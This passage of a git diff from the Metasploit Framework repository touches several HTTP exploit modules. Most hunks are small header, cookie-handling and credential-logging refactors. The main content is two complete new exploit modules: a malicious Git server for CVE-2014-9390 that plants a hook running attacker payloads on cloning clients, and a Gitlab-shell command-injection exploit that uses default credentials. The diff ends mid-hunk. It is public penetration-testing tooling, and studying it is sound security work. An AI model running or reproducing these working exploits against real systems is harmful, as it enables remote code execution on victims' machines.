a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/familycms_less_exec.rb b/modules/exploits/multi/http/familycms_less_exec.rb index cbd2a17d10..07e3741261 100644 --- a/modules/exploits/multi/http/familycms_less_exec.rb +++ b/modules/exploits/multi/http/familycms_less_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb index 7b63d8a0da..da1dbb571e 100644 --- a/modules/exploits/multi/http/freenas_exec_raw.rb +++ b/modules/exploits/multi/http/freenas_exec_raw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 4b234f3e8d..7b7162bb13 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb new file mode 100644 index 0000000000..42ca21b9e2 --- /dev/null +++ b/modules/exploits/multi/http/git_client_command_exec.rb @@ -0,0 +1,378 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390', + 'Description' => %q( + This module exploits CVE-2014-9390, which affects Git (versions less + than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions + less than 3.2.3) and describes three vulnerabilities. + + On operating systems which have case-insensitive file systems, like + Windows and OS X, Git clients can be convinced to retrieve and + overwrite sensitive configuration files in the .git + directory which can allow arbitrary code execution if a vulnerable + client can be convinced to perform certain actions (for example, + a checkout) against a malicious Git repository. + + A second vulnerability with similar characteristics also exists in both + Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where + certain Unicode codepoints are ignorable. + + The third vulnerability with similar characteristics only affects + Mercurial clients on Windows, where Windows "short names" + (MS-DOS-compatible 8.3 format) are supported. + + Today this module only truly supports the first vulnerability (Git + clients on case-insensitive file systems) but has the functionality to + support the remaining two with a little work. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jon Hart ' # metasploit module + ], + 'References' => + [ + ['CVE', '2014-9390'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'], + ['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'], + ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'], + ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'], + ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'], + ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'], + ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'], + ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a'] + + ], + 'DisclosureDate' => 'Dec 18 2014', + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic bash-tcp perl bash' + } + } + } + ], + [ + 'Windows Powershell', + { + 'Platform' => [ 'windows' ], + 'Arch' => [ARCH_X86, ARCH_X86_64] + } + ] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('GIT', [true, 'Exploit Git clients', true]) + ] + ) + + register_advanced_options( + [ + OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), + OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']), + OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']), + OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']), + OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false]) + ] + ) + end + + def setup + # the exploit requires that we act enough like a real Mercurial HTTP instance, + # so we keep a mapping of all of the files and the corresponding data we'll + # send back along with a trigger file that signifies that the git/mercurial + # client has fetched the malicious content. + @repo_data = { + git: { files: {}, trigger: nil }, + mercurial: { files: {}, trigger: nil } + } + + unless datastore['GIT'] || datastore['MERCURIAL'] + fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL') + end + + setup_git + setup_mercurial + + super + end + + def setup_git + return unless datastore['GIT'] + # URI must start with a / + unless git_uri && git_uri =~ /^\// + fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /') + end + # sanity check the malicious hook: + if datastore['GIT_HOOK'].blank? + fail_with(Exploit::Failure::BadConfig, 'GIT_HOOK must not be blank') + end + + # In .git/hooks/ directory, specially named files are shell scripts that + # are executed when particular events occur. For example, if + # .git/hooks/post-checkout was an executable shell script, a git client + # would execute that file every time anything is checked out. There are + # various other files that can be used to achieve similar goals but related + # to committing, updating, etc. + # + # This vulnerability allows a specially crafted file to bypass Git's + # blacklist and overwrite the sensitive .git/hooks/ files which can allow + # arbitrary code execution if a vulnerable Git client can be convinced to + # interact with a malicious Git repository. + # + # This builds a fake git repository using the knowledge from: + # + # http://schacon.github.io/gitbook/7_how_git_stores_objects.html + # http://schacon.github.io/gitbook/7_browsing_git_objects.html + case target.name + when 'Automatic' + full_cmd = "#!/bin/sh\n#{payload.encoded}\n" + when 'Windows Powershell' + psh = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + remove_comspec: true, + encode_final_payload: true) + full_cmd = "#!/bin/sh\n#{psh}" + end + + sha1, content = build_object('blob', full_cmd) + trigger = "/objects/#{get_path(sha1)}" + @repo_data[:git][:trigger] = trigger + @repo_data[:git][:files][trigger] = content + # build tree that points to the blob + sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}") + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + # build a tree that points to the hooks directory in which the hook lives, called hooks + sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}") + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + # build a tree that points to the partially uppercased .git directory in + # which hooks live + variants = [] + %w(g G). each do |g| + %w(i I).each do |i| + %w(t T).each do |t| + git = g + i + t + variants << git unless git.chars.none? { |c| c == c.upcase } + end + end + end + git_dir = '.' + variants.sample + sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}") + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + # build the supposed commit that dropped this file, which has a random user/company + email = Rex::Text.rand_mail_address + first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten + full_name = "#{first.capitalize} #{last.capitalize}" + tstamp = Time.now.to_i + author_time = rand(tstamp) + commit_time = rand(author_time) + tz_off = rand(10) + commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ + "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ + "\n" \ + "Initial commit to open git repository for #{company}!\n" + if datastore['VERBOSE'] + vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:") + commit.each_line { |l| vprint_status(l.strip) } + end + sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + # build HEAD + @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" + # lastly, build refs + @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" + end + + def setup_mercurial + return unless datastore['MERCURIAL'] + # URI must start with a / + unless mercurial_uri && mercurial_uri =~ /^\// + fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_URI must start with a /') + end + # sanity check the malicious hook + if datastore['MERCURIAL_HOOK'].blank? + fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_HOOK must not be blank') + end + # we fake the Mercurial HTTP protocol such that we are compliant as possible but + # also as simple as possible so that we don't have to support all of the protocol + # complexities. Taken from: + # http://mercurial.selenic.com/wiki/HttpCommandProtocol + # http://selenic.com/hg/file/tip/mercurial/wireproto.py + @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN' + fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814' + @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n" + # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat + @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo") + + # TODO: finish building the fake repository + end + + # Build's a Git object + def build_object(type, content) + # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html + header = "#{type} #{content.size}\0" + store = header + content + [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] + end + + # Returns the Git object path name that a file with the provided SHA1 will reside in + def get_path(sha1) + sha1[0...2] + '/' + sha1[2..40] + end + + def exploit + super + end + + def primer + # add the git and mercurial URIs as necessary + if datastore['GIT'] + hardcoded_uripath(git_uri) + print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") + end + if datastore['MERCURIAL'] + hardcoded_uripath(mercurial_uri) + print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}") + end + end + + # handles routing any request to the mock git, mercurial or simple HTML as necessary + def on_request_uri(cli, req) + # if the URI is one of our repositories and the user-agent is that of git/mercurial + # send back the appropriate data, otherwise just show the HTML version + if (user_agent = req.headers['User-Agent']) + if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri) + do_git(cli, req) + return + elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri) + do_mercurial(cli, req) + return + end + end + + do_html(cli, req) + end + + # simulates a Git HTTP server + def do_git(cli, req) + # determine if the requested file is something we know how to serve from our + # fake repository and send it if so + req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') + if @repo_data[:git][:files].key?(req_file) + vprint_status("Sending Git #{req_file}") + send_response(cli, @repo_data[:git][:files][req_file]) + if req_file == @repo_data[:git][:trigger] + vprint_status("Trigger!") + # Do we need this? If so, how can I update the payload which is in a file which + # has already been built? + # regenerate_payload + handler(cli) + end + else + vprint_status("Git #{req_file} doesn't exist") + send_not_found(cli) + end + end + + # simulates an HTTP server with simple HTML content that lists the fake + # repositories available for cloning + def do_html(cli, _req) + resp = create_response + resp.body = < + Public Repositories + +

Here are our public repositories:

+
    +HTML + + if datastore['GIT'] + this_git_uri = URI.parse(get_uri).merge(git_uri) + resp.body << "
  • Git (clone with `git clone #{this_git_uri}`)
  • " + else + resp.body << "
  • Git (currently offline)
  • " + end + + if datastore['MERCURIAL'] + this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri) + resp.body << "
  • Mercurial (clone with `hg clone #{this_mercurial_uri}`)
  • " + else + resp.body << "
  • Mercurial (currently offline)
  • " + end + resp.body << < + + +HTML + + cli.send_response(resp) + end + + # simulates a Mercurial HTTP server + def do_mercurial(cli, req) + # determine if the requested file is something we know how to serve from our + # fake repository and send it if so + uri = URI.parse(req.uri) + req_path = uri.path + req_path += "?#{uri.query}" if uri.query + req_path.gsub!(/^#{mercurial_uri}/, '') + if @repo_data[:mercurial][:files].key?(req_path) + vprint_status("Sending Mercurial #{req_path}") + send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1') + if req_path == @repo_data[:mercurial][:trigger] + vprint_status("Trigger!") + # Do we need this? If so, how can I update the payload which is in a file which + # has already been built? + # regenerate_payload + handler(cli) + end + else + vprint_status("Mercurial #{req_path} doesn't exist") + send_not_found(cli) + end + end + + # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI + def git_uri + return @git_uri if @git_uri + if datastore['GIT_URI'].blank? + @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' + else + @git_uri = datastore['GIT_URI'] + end + end + + # Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI + def mercurial_uri + return @mercurial_uri if @mercurial_uri + if datastore['MERCURIAL_URI'].blank? + @mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase + else + @mercurial_uri = datastore['MERCURIAL_URI'] + end + end +end diff --git a/modules/exploits/multi/http/gitlab_shell_exec.rb b/modules/exploits/multi/http/gitlab_shell_exec.rb new file mode 100644 index 0000000000..5f1b1054dc --- /dev/null +++ b/modules/exploits/multi/http/gitlab_shell_exec.rb @@ -0,0 +1,238 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gitlab-shell Code Execution', + 'Description' => %q( + This module takes advantage of the addition of authorized + ssh keys in the gitlab-shell functionality of Gitlab. Versions + of gitlab-shell prior to 1.7.4 used the ssh key provided directly + in a system call resulting in a command injection vulnerability. As + this relies on adding an ssh key to an account, valid credentials + are required to exploit this vulnerability. + ), + 'Author' => + [ + 'Brandon Knight' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'], + ['CVE', '2013-4490'] + ], + 'Platform' => 'linux', + 'Targets' => + [ + [ 'Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux (x64)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64 + } + ], + [ 'Unix (CMD)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'RequiredCmd' => 'openssl perl python' + }, + 'BadChars' => "\x22" + } + } + ], + [ 'Python', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Payload' => + { + 'BadChars' => "\x22" + } + } + ] + ], + 'CmdStagerFlavor' => %w( bourne printf ), + 'DisclosureDate' => 'Nov 4 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']), + OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']), + OptString.new('TARGETURI', [true, 'The path to Gitlab', '/']) + ], self.class) + end + + def exploit + login + case target['Platform'] + when 'unix' + execute_command(payload.encoded) + when 'python' + execute_command("python -c \\\"#{payload.encoded}\\\"") + when 'linux' + execute_cmdstager(temp: './', linemax: 2800) + end + end + + def execute_command(cmd, _opts = {}) + key_id = add_key(cmd) + delete_key(key_id) + end + + def check + res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in')) + if res && res.body && res.body.include?('GitLab') + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + def login + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in') + + # Get a valid session cookie and authenticity_token for the next step + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => 'request_method=GET', + 'uri' => signin_page + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res + + local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] + auth_token = res.body.scan(/ 'POST', + 'cookie' => local_session_cookie, + 'uri' => signin_page, + 'vars_post' => + { + 'utf8' => "\xE2\x9C\x93", + 'authenticity_token' => auth_token, + "#{user_field}" => username, + 'user[password]' => password, + 'user[remember_me]' => 0 + } + ) + + fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302 + + @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] + + fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil? + end + + def add_key(cmd) + if @gitlab_version == 5 + @key_base = normalize_uri(target_uri.path.to_s, 'keys') + else + @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys') + end + + # Perform an initial request to get an authenticity_token so the actual + # key addition can be done successfully. + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => "request_method=GET; #{@session_cookie}", + 'uri' => normalize_uri(@key_base, 'new') + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + + auth_token = res.body.scan(/ 'POST', + 'cookie' => "request_method=GET; #{@session_cookie}", + 'uri' => @key_base, + 'vars_post' => + { + 'utf8' => "\xE2\x9C\x93", + 'authenticity_token' => auth_token, + 'key[title]' => title, + 'key[key]' => key + } + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + + # Get the newly added key id so it can be used for cleanup + key_id = res.headers['Location'].split('/')[-1] + + key_id + end + + def delete_key(key_id) + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => "request_method=GET; #{@session_cookie}", + 'uri' => @key_base + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + + auth_token = res.body.scan(/ 'POST', + 'cookie' => "#{@session_cookie}", + 'uri' => normalize_uri("#{@key_base}", "#{key_id}"), + 'vars_post' => + { + '_method' => 'delete', + 'authenticity_token' => auth_token + } + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + end +end diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb index 36dbc96e70..8258c0e9f1 100644 --- a/modules/exploits/multi/http/gitorious_graph.rb +++ b/modules/exploits/multi/http/gitorious_graph.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote # Make sure the URI begins with a slash uri = normalize_uri(datastore['URI']) - command = Rex::Text.uri_encode(payload.raw, 'hex-all') + command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes') command.gsub!("%20","%2520") res = send_request_cgi({ 'uri' => "/api"+ uri + "/log/graph/%60#{command}%60", diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 7115369187..272950dd77 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -651,17 +651,33 @@ class Metasploit3 < Msf::Exploit::Remote return res end - def log_success(user,pass) - print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :active => true - ) + def log_success(user = "", pass = "") + service_data = { + address: Rex::Socket.getaddress(rhost, true), + port: rport, + protocol: "tcp", + service_name: ssl ? "https" : "http", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "Admin", + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: DateTime.now + } + + create_credential_login(login_data.merge(service_data)) end def try_default_glassfish_login(version) @@ -684,7 +700,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying #{type} credentials for GlassFish 2.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 - session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) + session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i res = send_request('/applications/upload.jsf', 'GET', session) p = /Deploy Enterprise Applications\/Modules/ @@ -697,7 +713,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying #{type} credentials for GlassFish 3.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 - session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) + session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) p = /<title>Deploy Applications or Modules/ @@ -708,6 +724,7 @@ class Metasploit3 < Msf::Exploit::Remote end if success == true + print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") log_success(user,pass) else msg = "#{my_target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" @@ -739,15 +756,7 @@ class Metasploit3 < Msf::Exploit::Remote if success == true print_good("#{my_target_host} - GlassFish - SUCCESSFUL authentication bypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => '', - :pass => '', - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :active => true - ) + log_success else print_error("#{my_target_host()} - GlassFish - Failed authentication bypass") end @@ -788,7 +797,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Glassfish edition: #{banner}") #Get session - res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); / + res.get_cookies =~ /JSESSIONID=(.*); / session = $1 #Set HTTP verbs. lower-case is used to bypass auth on v3.0 diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index 56c54d1008..0aa285ac06 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote if res.code == 200 vprint_error("#{peer} - Authentication failed") return Exploit::CheckCode::Unknown - elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ + elsif res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/ vprint_good("#{peer} - Authenticated successfully") return Exploit::CheckCode::Appears end @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote # login; get session id and token print_status("#{peer} - Authenticating as user '#{user}'") res = login(base, user, pass) - if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ + if res and res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/ token = "#{$1}" sid = "#{$2}" print_good("#{peer} - Authenticated successfully") diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb index 93d2f48df8..19cdc98388 100644 --- a/modules/exploits/multi/http/glpi_install_rce.rb +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index da3329887f..2490945fbb 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index 221ed08964..f8e6b61147 100644 --- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include REXML include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'HP SiteScope 11.20 / Windows', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ], [ 'HP SiteScope 11.20 / Linux', diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 825701d651..7c5029cbf6 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST' ) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 else print_error("#{peer} - Retrieve of initial JSESSIONID failed") @@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ + if res and res.code == 302 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 redirect = URI(res.headers['Location']).path else diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 581fbce608..9503af4d02 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info={}) @@ -41,19 +41,23 @@ class Metasploit3 < Msf::Exploit::Remote [ ['Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'bourne' }], ['Linux (x64)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'bourne' }], ['Windows', { 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'vbs' }], ['Windows (x64)', { 'Platform' => 'win', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'vbs' }], ], 'Privileged' => false, @@ -113,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote # CpqElm-Login: success if res.headers['CpqElm-Login'].to_s =~ /success/ - cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' + cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' end cookie @@ -121,11 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote def setup_stager - case target.opts['Platform'] - when "linux" then opts = { :temp => './', :linemax => 2800 } - when "win" then opts = { :temp => '.', :linemax => 2800 } - end - execute_cmdstager(opts) + execute_cmdstager(:temp => './', :linemax => 2800) end @@ -194,8 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit @cookie = '' - extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux" - setup_stager end end diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 19c9a442ed..cd4f1a1eb7 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ 